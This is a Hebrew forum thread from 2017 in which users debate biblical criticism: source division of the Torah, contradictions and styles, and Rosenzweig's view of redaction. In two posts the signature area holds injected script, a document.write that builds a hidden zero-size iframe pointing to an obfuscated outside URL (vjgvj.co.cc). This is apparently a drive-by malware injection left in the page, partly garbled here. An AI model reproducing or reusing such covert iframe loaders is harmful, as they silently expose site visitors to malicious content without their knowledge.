| נשלח ב-13/6/2017 19:27 |
|
| |
מצאתי הבדל גדול בין מבקרי המקרא לבין מבקר הביקורת דכאן - מבקרי המקרא מכירים את המקרא ואילו מבקר הביקורת לא ממש מכיר את הביקורת. לשון אחר - אם רצונך לבקר את ביקרות המקרא עליך ראשית להכיר אותה. ספר המבוא של אלכסנדר רופא מאוד מומלץ לשם כך. אך פטור בלא כלום אי אפשר: "והסיבה פשוטה כי בעוד שהמאמינים צריכים להביא הסבר הגיוני לקושיות של המבקרים, המבקרים אינם צריכים להסביר את דבריהם, כי תמיד אפשר לשלוף את התשובה: עדיין לא ידוע לנו למה זה ככה". זה פשוט לא נכון. קושיה על ניתוח כלשהו פשוט תביא לשכלול הניתוח. הסיבה שקשה להתווכח איתם היא לא שיש להם תשובה שאפשר לשלוף, אלא שהמתודולוגיה שלהם היא מדעית. בעוד הצד הדתי מחזיק בדוגמה שאינה ניתנת להפרכה, התיאוריה המדעית ניתנת תמיד להפרכה ולכן כל קושיה פשוט מביאה לשכלול שלה. אתה יכול להחזיק גם באמונות משונות בענייני פיזיקה, ולהגיד שהסיבה שיד המדענים על העליונה היא שיש להם תירוצים. "הסתירה הכי חזקה למבקרי המקרא תהיה אם נצליח לתרץ את כל הקושיות שעולים במקרא". לא נכון. ביקורת המקרא לא מסתמכת רק על סתירות אלא גם על סגנונות שונים (למשל שמות ה') ומגמות שונות (לא סתירות מפורשות). כמובן שגם את הסגנונות השונים אפשר לתרץ ולתת תיאוריה שמסבירה מתי משתמשים בכל שם (קסוטו ניסה אבל דומני שאין מי שחושב שהצליח חוץ ממנו עצמו), אבל זה לא רק סתירות. "חלוקה מוצלחת אינה הוכחת לתעודות". שום דבר הוא לא הוכחה לתעודות. השאלה היא מה סביר יותר. "כל טקסט באשר הוא אפשר לחלק אותו ולהראות שזה מורכב מכמה מקורות". על אותו משקל אפשר לומר שעל כל אוסף מקרי של טקסטים אפשר לטעון שהוא ספר אחד. זה כאמור עניין של סבירות והיגיון. הדוגמאות הצולעות שלך הן בדיוק ההוכחה. הדוגמאות שלך ממש גרועות שאני לא חושב שיש אפילו טקסט אחד שלך שסביר היה לחשוב שהוא עצמאי (אתה יכול לטעון שגם בביקורת המקרא יש חלוקות גרועות אבל זה לא מבטל את כל הטענה). בכל אופן, בדוגמאות שלך אפילו אם היית מצליח להוציא טקסט קריא, הרי שבשביל חלוקה צריך איזשהו יתרון לטקסט המחולק ואת זה אפילו לא ניסית לעשות.
לסיכום, כדי לבקר משהו צריך להכיר אותו, ודי ברור שההיכרות שלך עם 'ביקורת המקרא' היא מועטת מאוד. נקודה חשובה היא שביקורת המקרא אינה איזשהי תיאוריה, אלא פשוט מתודולוגיה - לכל טקסט אפשר להתייחס באופן ביקורתי וזה לאו דווקא גורר חלוקה שלו. עניינה של הביקורת הוא בחינה מבחוץ שמשתדלת להיות אובייקטיבית ולהשתחרר מדעות קדומות, וזאת בניגוד ליחס דוגמטי לטקסט.
 |
|
|
|
|
| נשלח ב-13/6/2017 21:18 |
|
| |
כתבתי שזה רק החלק הראשון מתוך שלשה א. חלוקה לא אומרת כלום ב. החלוקה הלא מוצלחת של ביקורת המקרא ג. האיחוד המוצלח של התורה מה שהבאתי היה רק החלק הראשון. האמת שלפי אמונתי שהתורה נתנה כמקור אחד, כל מה שעלי לעשות זה לתרץ את הסתירות והקושיות, ואז אין שום סיבה לקנות את ביקורת המקרא, גם אם על הביקורת לא יהיו קושיות. אלא שדבר זה אין לו סוף כי התורה היא תורה שאין לה סוף, ותמיד ישארו דברים פתוחים הצריכים דיון, מה שגם קורה בביקורת המקרא. ולכן אנחנו צריכים גם להראות את הסתירות לפי ביקורת המקרא. אלא שלפעמים יש הברקות כל כך מוצלחות שקשה להאמין שהם לא חלוקות, ועל זה התחלתי בחלק הראשון להראות שכל טקסט אפשר לחלק. מה גם שלפעמים יש קושיה שנשארת קשה בתורה, ולכן אנחנו צריכים לשלש הדברים כדי לבוא לאמיתת התורה. מה שכתבתי שהסתירה הכי חזקה לביקורת המקרא תהיה תירוץ הסתירות, כונתי לתירוץ הסתירות השנוים והכפילות.
אפרים אני מסכים אתך שאני חושב שאני חושב, ואני לא מתבייש עם זה. אם הייתי בטוח שמה שאני חושב היא אמת, לא הייתי פה, אני נמצא פה בגלל שאני חושב שאני חושב, ואני רוצה לדעת אם אני אכן חושב. כתבת שאני יביא הפרכה לדבר שמקובלת על 'כל' מבקרי המקרא. יש מאשים אותי שאני לא מכיר את ביקורת המקרא, ולכן אבקש ממך ומיש לענות לי אם אני צודק או לא. האם חלוקת סיפורי הבריאה לשנים מקובלת על כל מבקרי המקרא? והאם הבסיס לחלוקה הן: א. שמות הקל המשתנות. ב. סדר הבריאה. ג. בריאת האדם כאחד שמחולק לשנים או כזכר ונקבה? אם יש עוד גורמות לחלוקת פרשת הבריאה נא לציין
 |
|
|
|
|
| נשלח ב-13/6/2017 21:21 |
|
| |
|
|
|
|
| נשלח ב-13/6/2017 23:46 |
|
| |
בחינה מבחוץ איננה אובייקטיבית וגם היא סוג של דוגמטיקה או של סובייקטיביות. ביקורת אמתית היא מבפנים. לדוגמא, לשון "עד שבא רבי עקיבא ולימד".
|
|
|
|
| נשלח ב-13/6/2017 23:55 |
|
| |
אפרים
תודה על מיקוד שאלתך.
סבורני ששלום-טוב עשה דבר יפה. אחד הכלים המשמשים את ביקורת המקרא הוא החלוקה של פרשיות ולפעמים של פסוקים בודדים לחלקים. זה מכאן וזה מכאן.
מה ששלום-טוב הראה הוא שאפשר לחלק כל טקסט (כמעט?) לשני מקורות. זו המחשה, לדעתי, של עקרון הרמנויטי (הרמנויטיקה = תורת הפרשנות). העקרון ההרמנויטי הזה, שמקובל עלי והומחש בידי שלום-טוב, הוא בדיוק זה.
וכיון שאפשר לחלק כל דבר לחלקים ולקבל עדיין טקסט קריא נופלת אחת הראיות לביקורת המקרא, זו שאומרת כי אפשר להפריד בין מקורות ולקבל סיפורים שלמים.
יש לשים לב לנקודה הלוגית. זה שאפשר לחלק טקסט לחלקים עם מקורות שונים אינו אומר שהחלוקה נכונה או לא נכונה. זה רק אומר שאם אפשר לחלק זו לא עדות מכריחה שהוא באמת נוצר כך.
עדיין עומדות וממתינות לתשובה שאלות אחרות של ביקורת המקרא. למשל, סתירות. למשל השקפות שונות. יש טוענים שגם ניסוחים שונים מעידים על מקורות שונים, אבל לדעתי הטענה האחרונה הזו נופלת בדומה לטענת החלוקה של טקסטים. איך נזהה מה מאפיין מחבר כזה או אחר? והאם יש לנו מדגמים עשירים מספיק?
יש עוד דוגמאות שבהן לדעתי כושלת ביקורת המקרא. אבל כפי שציין יש3, צריך לציין באיזו ביקורת מקרא מדובר. למרות שזה שם כולל לגישה שאינה אהודה עלי, יש לבדוק אם יש שם שאלות אמיתיות ואם כן יש להתייחס אליהם. התורה רק מרויחה מבירור האמת.
ואין לי אלא לחזור על דברי פרנץ רוזנצוויג, בפרפרזה משלי. גם אם יתברר שהתורה נערכה מתוך מקורות, זה לא יהפוך אותה לפחות אלוקית. שהרי, כפי שכתב רוזנצוייג, אותו ה-R של עורך התורה, הרדאקטור בשפתם של מבקרי המקרא דאז, צריך לעמוד עבור - רבנו.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
 |
|
|
|
|
| נשלח ב-14/6/2017 00:08 |
|
| |
תודה מימוני ביררת את הנקודה
האמת שהתלבטתי אם להתחיל עם זה, או להתחיל עם הקושיות על ביקורת המקרא, כנראה שטעיתי והייתי צריך להתחיל עם הקושיות על הביקורת, ורק אחר כך לחזור להראות שחלוקה אינו הוכחה לחלוקה.
מה שכתבת: גם אם יתברר שהתורה נערכה מתוך מקורות, זה לא יהפוך אותה לפחות אלוקית אני לא מסכים עם זה
תוקן על ידי שלוםטוב ב- 14/06/2017 00:10:42
|
|
|
|
| נשלח ב-14/6/2017 00:38 |
|
| |
| מיימוני כתב: |  |
וכיון שאפשר לחלק כל דבר לחלקים ולקבל עדיין טקסט קריא נופלת אחת הראיות לביקורת המקרא, זו שאומרת כי אפשר להפריד בין מקורות ולקבל סיפורים שלמים. אני כידוע מתנגד גדול למה שנקרא ביקורת המקרא, אבל במחילה למיטב הבנתי הרעיון של ביקורת המקרא אינו לבדוק אם ניתן לקבל טקסט קריא לאחר חלוקת הטקסט הרשמי, אלא לטעון שללא החלוקה הטקסט אינו קריא דיו. יש לציין, שפעמים רבות הרעיונות העומדים בבסיס דבר זה הם רעיונות בסגנון בלתי מדעי - אלא כגון דרש וכדומה, ולכן אכן מי שלא מכיר באפשרות לקרוא טקסט שלא כפשוטו לא אמור לקבל את הרעיונות הללו, אלא שהרעיונות הללו הם בני דורנו, לעומת רעיונות כמו הדרשות שמבוססים בדר"כ על חשיבה של דורותיהם של חז"ל וכד', ועל כן נראים פחות מובנים מרעיונותיהם של אנשי ביקורת המקרא, אע"פ שבעצם מבחינה מדעית ולוגית הרעיונות הם ברי-תוקף בערך באותה מידה. איננו צריכים "לחפש" איך להפיל את ביקורת המקרא. אנו צריכים ללמוד את המקרא, ואם יש קושיות אז לתרצם. קומה נוספת היא להביא את ההבנה הנכונה אל הצד שכנגד. אבל קודם כל לומדים ומכירים את מה שצריך.
עדיין עומדות וממתינות לתשובה שאלות אחרות של ביקורת המקרא. למשל, סתירות. למשל השקפות שונות. יש טוענים שגם ניסוחים שונים מעידים על מקורות שונים, אבל לדעתי הטענה האחרונה הזו נופלת בדומה לטענת החלוקה של טקסטים. איך נזהה מה מאפיין מחבר כזה או אחר? והאם יש לנו מדגמים עשירים מספיק?אכן. זה וכמו שביאר בעל הניק שלוםטוב בתחילת דבריו, הם סיבה מדוע אין הכרח לקבל את ביקורת המקרא.
יש עוד דוגמאות שבהן לדעתי כושלת ביקורת המקרא. אבל כפי שציין יש3, צריך לציין באיזו ביקורת מקרא מדובר. למרות שזה שם כולל לגישה שאינה אהודה עלי, יש לבדוק אם יש שם שאלות אמיתיות ואם כן יש להתייחס אליהם. התורה רק מרויחה מבירור האמת.
ואין לי אלא לחזור על דברי פרנץ רוזנצוויג, בפרפרזה משלי. גם אם יתברר שהתורה נערכה מתוך מקורות, זה לא יהפוך אותה לפחות אלוקית. שהרי, כפי שכתב רוזנצוייג, אותו ה-R של עורך התורה, הרדאקטור בשפתם של מבקרי המקרא דאז, צריך לעמוד עבור - רבנו.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");> |
|
 |
|
|
|
|
| נשלח ב-14/6/2017 00:51 |
|
| |
אליקים אם הבנתי נכון, אתה מסכים איתי, אלא שאתה טוען שאנחנו צריכים להתקדם לחלק השני "להראות החלוקה הלא נכונה של ביקורת המקרא" נגיע גם לזה
|
|
|
|
| נשלח ב-14/6/2017 01:00 |
|
| |
| אפריםבן כתב: |  | ביקורת המקרא היא נושא רציני .במקום שפותח האשכול יביא לדוגמה טענה אחת שמקובלת על כל מבקרי המקרא ויפריך אותה כאן בפורום הוא מביא דוגמאות מומצאות לא חכמות (בלשון עדינה)זה לא רציני.
|
|
ברור שאין מומצאות אבל לא חכמות, מנין לך? תצביע אל אי החכמה, ואל תעשה סתם הכללה
|
|
|
|
| נשלח ב-14/6/2017 07:31 |
|
| |
אליקים
נראה לי שצריך להבהיר נגד מה יצא שלום-טוב.
ובכן, וכאמור לעיל, אחד האופנים שבו עובדים מבקרי המקרא הוא לקחת טקסט מן המקרא, ולהראות שאפשר לגזור אותו לחלקים, ועדיין כל סיפור עומד בפני עצמו.
זו תופעה שאני מכיר אבל זה לגיטימי שתבקש ממני להביא דוגמאות. בינתים האמן לי שיש כזה דבר.
אני חוזר: הניתוח נעשה לא בגלל קשיים כמו סתירות פנימיות או עם מקומות אחרים, אלא רק כדי להראות שיש כאן שני סיפורים שאינם תלויים זה בזה.
ונגד זה יצא שלום-טוב והראה שזו תופעה שאפשר להסביר באמצעות מקצוע ההרמנויטיקה, שאדרבה, אולי כל טקסט ניתן לחלוקה.
עד כאן.
זה לא סותר את כל ביקורת המקרא. זה לא עונה לכל השאלות שלה. זה רק מצביע על בעיה מתודולוגית (שיטתית) שיש באחד הכלים שלה, כלי החיתוך.
***
שלום-טוב
דווקא הכלל שהבאתי משמו של רוזנצוויג הוא חשוב מאד.
שים לב: אנו רגילים לחשוב על התנ"ך שלנו ועל התורה שבכתב במיוחד בתור ספר אחד מקודש, ובצדק.
רוזנצוויג הכיר כמה ממבקרי המקרא (אלו שהיו עד זמנו ובזמנו). כנראה הוא האמין שהם צדקו בחלק מהביקורת שלהם, שיש טקסטים שלא יצאו מידי משה רבנו. אז איך נקיים את קדושת התורה?
הוא הצביע על כך שיש לגבי התורה שתי אמירות שונות, בשני רבדים שונים:
א. האופן שבו התורה נוסחה. האם זה היה בזמן אחד (בזמן שעם ישראל יצאו ממצרים, ממעמד הר סיני עד הכניסה לארץ), בידי אדם אחד (משה רבנו). או שזה היה ליקוט שנעשה במאמץ משותף בידי מחברים שונים (הדעה שאינה חביבה עלינו ואינה קבילה עלינו).
ב. האופן שבו התורה ניתנה מידי אלוקים. וכאן יש תשובות רבות. החל בזו שמציעים הרמב"ם והרמב"ן, שמשה דומה לסופר כלומר לפקיד שמכתיבים לו והוא כותב - ועד לתפיסה שמשה פעל בהשראה אלוקית אבל זו לא היתה הכתבה אלא תהליך פנימי בתוכו שנעשה באופן שאולי אינו ניתן להבנה מלאה אבל הוא בידי הקב"ה (זו דעת הרמב"ם במורה נבוכים). על זה הוסיף רוזנצוויג את התגלית שלו, שהשראה אלוקית יכולה לחול לא רק על סדרת אירועים שקרו לאדם פרטי שהוא משה, אלא גם על התפתחות של טקסט שהיתה במשך שנים רבות.
לניתוח של רוזנצוויג יש חשיבות רבה בגלל שאם ביום מן הימים יתברר לנו שיש בתוך התורה שבכתב תוספות או שניתן למרות הכל לזהות סימני עריכה חיצוניים, זה לא יפסול את קדושתה, מפני שקדושתה לא תהיה תלויה רק בהכתבה למשה רבנו אלא בהיותה מתפתחת על פי כללים שה' קבע, על ידי אנשים שה' בחר בהם לתפקיד הזה.
"השראה אלוקית" יכולה לחול בצורות שונות.
אני ממליץ על הספר "בעיני א-לוהים ואדם" שמכנס מקורות רבים "משלנו" של פרשנים והוגים שלא שללו עקרונית את האפשרות שיש בתורה תוספות, עריכות ועוד. זה מאד מפתיע, שיש "משלנו" דעות כאלו, אבל יש.
כל זה מכין אותנו לקראת ההתמודדות עם חשיבה חדשה על המסורת שלנו. חשיבה שאינה משליכה אותה לפח מפני שעלינו לעדכן ניסוחים בהתאם לתגליות.
שוב, כמוך אני סבור שאין לביקורות האלו יסוד והכרח, אבל עדיין חשוב להכיר באבחנות אלו.
דוגמא לדבר: נניח שצודק האבן עזרא בקביעתו כי "מי המרים המאררים" הוא ביטוי שחסרה בו מילה בין "מי" לבין "המרים המאררים". כגון "מי הבדיקה המרים והמאררים". מה קרה למילה הזו? לפי האבן עזרא (או לפחות בקריאתו של שפינוזה, המערער הגדול על קדושת התורה), המילה הזו אינה בטקסט שלנו. האם היא נפלה במשך הדורות? אם כן, אזי העובדה שהתורה נשארה ללא שינוי ורק מילה אחת חסרה בה לאחר אלפי שנים מעידה על מאמץ זכירה עצום. אבל האם הקדושה של התורה תלויה בהעדר של מילה אחת?
לפי התשובה של רוזנצוויג נוכל לומר שכיון שהתורה יצאה מידי מחבר (או מחברים) בהשראה נבואית, זה לא גורע מקדושתה וממעמדה כמכוננת את חיי העם היהודי ואת בחירתו.
ראה גם במבוא של מילגרום לפירושו ל"ויקרא" שתורגם חלקית לעברית. גם הוא מציע לראות בספר "ויקרא" תוצרת של סדרת עיבודים וגם עיבודים אלו לא נעשו בחוסר אחריות אלא בהשראה ובהיתר אלוקי. והוא משווה בין עריכת התורה, לשיטתו, לבין עריכת התלמוד.
דבריו לא התקבלו על דעתי. הם תיאוריה אפשרית, אבל אין בהם הכרח, ואני מקוה להאריך בכך באשכול אחר. אבל חשוב מאד לא להיבהל מן האפשרות הזו. ולדעת מה עונים עליה, לא רק כדי להפריך את הטענה אלא גם כדי להבדיל בין טענות שהיהדות עומדת עליהן לבין אלו שלא.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
 |
|
|
|
|
| נשלח ב-14/6/2017 07:53 |
|
| |
| מיימוני כתב: |  | אליקים
נראה לי שצריך להבהיר נגד מה יצא שלום-טוב.
ובכן, וכאמור לעיל, אחד האופנים שבו עובדים מבקרי המקרא הוא לקחת טקסט מן המקרא, ולהראות שאפשר לגזור אותו לחלקים, ועדיין כל סיפור עומד בפני עצמו.
זו תופעה שאני מכיר אבל זה לגיטימי שתבקש ממני להביא דוגמאות. בינתים האמן לי שיש כזה דבר.
אני חוזר: הניתוח נעשה לא בגלל קשיים כמו סתירות פנימיות או עם מקומות אחרים, אלא רק כדי להראות שיש כאן שני סיפורים שאינם תלויים זה בזה.
ונגד זה יצא שלום-טוב והראה שזו תופעה שאפשר להסביר באמצעות מקצוע ההרמנויטיקה, שאדרבה, אולי כל טקסט ניתן לחלוקה.
עד כאן.
זה לא סותר את כל ביקורת המקרא. זה לא עונה לכל השאלות שלה. זה רק מצביע על בעיה מתודולוגית (שיטתית) שיש באחד הכלים שלה, כלי החיתוך.
מיימוני
לצערי, אינני יכול לענות לך. (ואתה הרי חכם)
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");> |
|
|
|
|
|
| נשלח ב-14/6/2017 07:56 |
|
| |
ואם כן, למעשה גם אם אענה זה יהיה מעשה חסר משמעות. לא התוכן חסר משמעות, אלא המעשה. (ואתה הרי חכם)
|
|
|
|
| נשלח ב-14/6/2017 07:57 |
|
| |
(מי שקרא ולא הבין, לא נורא. זה צפוי שלא תבינו. יש רק אחד שאמור, עשוי להבין)
|
|
|
|
| נשלח ב-14/6/2017 08:50 |
|
| |
שלום הגבתי לחלק הראשון. מה שאתה כותב לגבי אמונתך הוא לוז העניין, אבל כשיש לך אמונה מוקדמת תישאר בה גם אם לא תצליח לתרץ את כל הקושיות. זו גם בהחלט עמדה סבירה אם יש לה הצדקה, כלומר אם יש לי הוכחה חיצונית שהתורה ניתנה כולה מאת ה', קושיות פנימיות לא מאוד ישנו את זה (השאלה מה מאזן הראיות). ההבדל בין ביקורת המקרא אליך הוא בדיוק בנקודת המוצא - נקודת המוצא של ביקורת היא פתוחה ונקודת המוצא שלך היא דוגמטית - יש לך אמונה ואתה מנסה לחזק אותה ולהגן עליה, אפולוגטיקה בלע"ז. מה שהראית שכל טקסט אפשר לחלק, הגבתי לך על זה, ונראה שלא הבנת את דבריי כי אתה כלל לא מגיב אליהם. טענתי כלפיך שלא כל טקסט אפשר לחלק באופן שהחלקים יהיו קריאים, ועוד יותר מזה קשה מאוד לחלק טקסט כך שלחלקים שלו יהיה איזה יתרון על פני השלם.
אריאל פשוט לא נראה שהוא הצליח לתת הגדרה חדה שאני אצליח לעבוד איתה אפריורית. אני כבר לא זוכר מה בדיוק הוא כתב אבל דומני שאם תתן למישהו שלא זוכר את התנ"ך בע"פ את ההגדרה שלו ופסוקים להשלמה הוא לא יתקרב ל-100% הצלחה.
מ לא כתבתי שביקורת מבחוץ היא אובייקטיבית כי אין לגמרי אובייקטיבי. כתבתי שהיא משתדלת. בכל אופן היא לא סוג של דוגמטיקה, והקישור שלך בין דוגמטיקה לסובייקטיביות לא מראה על חשיבה ישרה. אם תרצה לדון איתי מהי ביקורת אמתית, אז עדיף שזה לא יהיה במשחקי סמנטיקה וצטטנות אלא בטענות בעלות תוכן.
 |
|
|
|
|
| נשלח ב-14/6/2017 09:57 |
|
| |
יש,
דוגמטיות פירושה דעתנות וזה בדיוק סוג של סובייטיביות. אובייקטיביות נובעת מהכלל, כלומר ממה שנעלה מדעתו הפרטית של אדם כזה או אחר, ובתנאי שהכלל נכון. אם התורה צורת האדם והעולם, ממילא ביקורת חיצונית לתורה, כגון ביקורת המקרא, או שביסודה איננה חיצונית לתורה, או שנובעת מדמיונות וממילא איננה אמתית.
|
|
|
|
|
|